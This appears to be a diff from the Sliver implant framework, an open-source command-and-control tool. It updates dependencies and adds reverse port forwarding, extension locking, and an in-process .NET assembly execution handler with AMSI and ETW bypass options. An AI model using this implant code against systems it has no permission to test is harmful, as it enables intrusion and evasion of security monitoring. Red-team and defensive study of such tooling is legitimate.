golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@@ -1325,11 +1317,11 @@ gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMy
|
||||
gopkg.in/gemnasium/logrus-airbrake-hook.v2 v2.1.2/go.mod h1:Xk6kEKp8OKb+X14hQBKWaSkCsqBpgog8nAV2xsGOxlo=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k=
|
||||
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
||||
gopkg.in/square/go-jose.v2 v2.3.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||
gopkg.in/square/go-jose.v2 v2.5.1/go.mod h1:M9dMgbHiYLoDGQrXy7OpJDJWiKiU//h+vD76mk0e1AI=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
|
||||
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
@@ -1338,19 +1330,22 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0 h1:hjy8E9ON/egN1tAYqKb61G10WtihqetD4sz2H+8nIeA=
|
||||
gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.0.3 h1:+JKBYPfn1tygR1/of/Fh2T8iwuVwzt+PEJmKaXzMQXg=
|
||||
gorm.io/driver/mysql v1.0.3/go.mod h1:twGxftLBlFgNVNakL7F+P/x9oYqoymG3YYT8cAfI9oI=
|
||||
gorm.io/driver/postgres v1.0.5 h1:raX6ezL/ciUmaYTvOq48jq1GE95aMC0CmxQYbxQ4Ufw=
|
||||
gorm.io/driver/postgres v1.0.5/go.mod h1:qrD92UurYzNctBMVCJ8C3VQEjffEuphycXtxOudXNCA=
|
||||
gorm.io/driver/sqlite v1.1.3 h1:BYfdVuZB5He/u9dt4qDpZqiqDJ6KhPqs5QUqsr/Eeuc=
|
||||
gorm.io/driver/sqlite v1.1.3/go.mod h1:AKDgRWk8lcSQSw+9kxCJnX/yySj8G3rdwYlU57cB45c=
|
||||
gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
|
||||
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
|
||||
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
|
||||
gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.3.9 h1:lWGiVt5CijhQAg0PWB7Od1RNcBw/jS4d2cAScBcSDXg=
|
||||
gorm.io/driver/postgres v1.3.9/go.mod h1:qw/FeqjxmYqW5dBcYNBsnhQULIApQdk7YuuDPktVi1U=
|
||||
gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
|
||||
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
|
||||
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.9 h1:NSHG021i+MCznokeXR3udGaNyFyBQJW8MbjrJMVCfGw=
|
||||
gorm.io/gorm v1.23.9/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
|
||||
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
|
||||
gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8=
|
||||
|
||||
+3
-1
@@ -4,6 +4,7 @@ go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
@@ -14,7 +15,7 @@ require (
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/protobuf v1.26.0
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
@@ -33,6 +34,7 @@ require (
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.4.2 // indirect
|
||||
golang.org/x/text v0.3.7 // indirect
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
|
||||
golang.org/x/tools v0.1.7 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
|
||||
+6
-2
@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
|
||||
github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
|
||||
github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
|
||||
github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
|
||||
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
|
||||
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
|
||||
@@ -1,17 +1,31 @@
|
||||
#!/bin/sh
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
cleanup() {
|
||||
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
|
||||
|
||||
mv "${tempDir}/vendor" "${pwd}/../vendor"
|
||||
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
|
||||
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
}
|
||||
|
||||
# we are expecting from run from sliver/implant via 'go generate'
|
||||
cd scripts
|
||||
|
||||
# copy Go module related files
|
||||
pwd="$(pwd)"
|
||||
tempDir="$(mktemp -d -p $pwd)"
|
||||
tempDir="$(mktemp -d)"
|
||||
cp ../go-mod "${tempDir}/go.mod"
|
||||
cp ../go-sum "${tempDir}/go.sum"
|
||||
mv ../vendor "${tempDir}/vendor"
|
||||
|
||||
|
||||
# Trap when a build fails so we can reset the environment
|
||||
trap 'cleanup $? $LINENO' ERR
|
||||
|
||||
# build Go file with all imported packages
|
||||
go run update-vendor.go "$tempDir"
|
||||
cd "$tempDir"
|
||||
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
|
||||
go mod vendor
|
||||
|
||||
# move updated files back
|
||||
mv "${tempDir}/vendor" ../../vendor
|
||||
mv "${tempDir}/go.mod" ../../go-mod
|
||||
mv "${tempDir}/go.sum" ../../go-sum
|
||||
cd ..
|
||||
rm -rf "$tempDir"
|
||||
cleanup
|
||||
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// GetExactOTPCode - Get the OTP code for a specific timestamp
|
||||
func GetExactOTPCode(timestamp time.Time) string {
|
||||
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("TOTP Code (%s): %s", timestamp, code)
|
||||
// {{end}}
|
||||
return code
|
||||
}
|
||||
|
||||
// GetOTPCode - Get the current OTP code
|
||||
func GetOTPCode() string {
|
||||
now := time.Now().UTC()
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
@@ -36,6 +37,7 @@ type DarwinExtension struct {
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -21,6 +21,7 @@ package extension
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
@@ -43,6 +44,7 @@ type WindowsExtension struct {
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
// The extension API must respect the following prototype:
|
||||
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
|
||||
// where goCallback = int(char *, int)
|
||||
w.Lock()
|
||||
defer w.Unlock()
|
||||
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
|
||||
if errNo != 0 {
|
||||
return errors.New(errNo.Error())
|
||||
|
||||
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
// PivotHandler - Handler related to pivoting
|
||||
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
|
||||
// RportFwdHandler - Handler related to reverse port forwarding
|
||||
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
|
||||
|
||||
// -----------------------------------------------------
|
||||
// -----------------------------------------------------
|
||||
// -----------------------------------------------------
|
||||
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
|
||||
to download a single file
|
||||
*/
|
||||
fileInfo, err := os.Stat(path + filter)
|
||||
if err != nil {
|
||||
return nil, false, 0, 1, err
|
||||
}
|
||||
if err == nil && !fileInfo.IsDir() {
|
||||
// Then this is a single file
|
||||
rawData, err := os.ReadFile(path + filter)
|
||||
@@ -593,6 +599,9 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -49,24 +49,25 @@ var (
|
||||
windowsHandlers = map[uint32]RPCHandler{
|
||||
|
||||
// Windows Only
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgProcessDumpReq: dumpHandler,
|
||||
sliverpb.MsgImpersonateReq: impersonateHandler,
|
||||
sliverpb.MsgRevToSelfReq: revToSelfHandler,
|
||||
sliverpb.MsgRunAsReq: runAsHandler,
|
||||
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
|
||||
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
|
||||
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
|
||||
sliverpb.MsgInvokeMigrateReq: migrateHandler,
|
||||
sliverpb.MsgSpawnDllReq: spawnDllHandler,
|
||||
sliverpb.MsgStartServiceReq: startService,
|
||||
sliverpb.MsgStopServiceReq: stopService,
|
||||
sliverpb.MsgRemoveServiceReq: removeService,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
|
||||
sliverpb.MsgGetPrivsReq: getPrivsHandler,
|
||||
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
|
||||
|
||||
// Platform specific
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
@@ -238,6 +239,26 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
}
|
||||
|
||||
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
|
||||
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
|
||||
err := proto.Unmarshal(data, execReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
|
||||
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
|
||||
if err != nil {
|
||||
execAsm.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execAsm)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
var (
|
||||
err error
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
|
||||
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
genericRportFwdHandlers = map[uint32]RportFwdHandler{
|
||||
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
|
||||
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
|
||||
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
|
||||
}
|
||||
)
|
||||
|
||||
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
|
||||
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
|
||||
return genericRportFwdHandlers
|
||||
}
|
||||
|
||||
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
|
||||
forwards := rportfwd.Portfwds.List()
|
||||
var portfwdListeners []*pb.RportFwdListener
|
||||
|
||||
for _, portfwd := range forwards {
|
||||
|
||||
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
|
||||
ID: uint32(portfwd.ID),
|
||||
BindAddress: portfwd.BindAddr,
|
||||
ForwardAddress: portfwd.RemoteAddr,
|
||||
})
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.RportFwdListeners{
|
||||
Listeners: portfwdListeners,
|
||||
Response: &commonpb.Response{},
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
|
||||
}
|
||||
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.RportFwdStartListenerReq{}
|
||||
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
rportfwds := rportfwd.Portfwds.List()
|
||||
|
||||
for _, r := range rportfwds {
|
||||
if r.BindAddr == req.BindAddress {
|
||||
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &rportfwd.ChannelProxy{
|
||||
Conn: connection,
|
||||
RemoteAddr: req.ForwardAddress,
|
||||
BindAddr: req.BindAddress,
|
||||
KeepAlivePeriod: 1000 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(req.BindAddress, channelProxy)
|
||||
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy error %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
}()
|
||||
resp.BindAddress = req.BindAddress
|
||||
resp.ForwardAddress = req.ForwardAddress
|
||||
resp.BindPort = req.ForwardPort
|
||||
resp.ForwardPort = req.ForwardPort
|
||||
resp.ID = uint32(rportfwd.ID)
|
||||
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
req := &pb.RportFwdStopListenerReq{}
|
||||
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := proto.Unmarshal(envelope.Data, req)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
|
||||
if rportfwd != nil {
|
||||
resp.ID = uint32(rportfwd.ID)
|
||||
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
|
||||
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
|
||||
} else {
|
||||
resp.Response.Err = "Invalid ID\n"
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(resp)
|
||||
connection.Send <- &pb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
@@ -19,17 +19,18 @@ package tunnel_handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
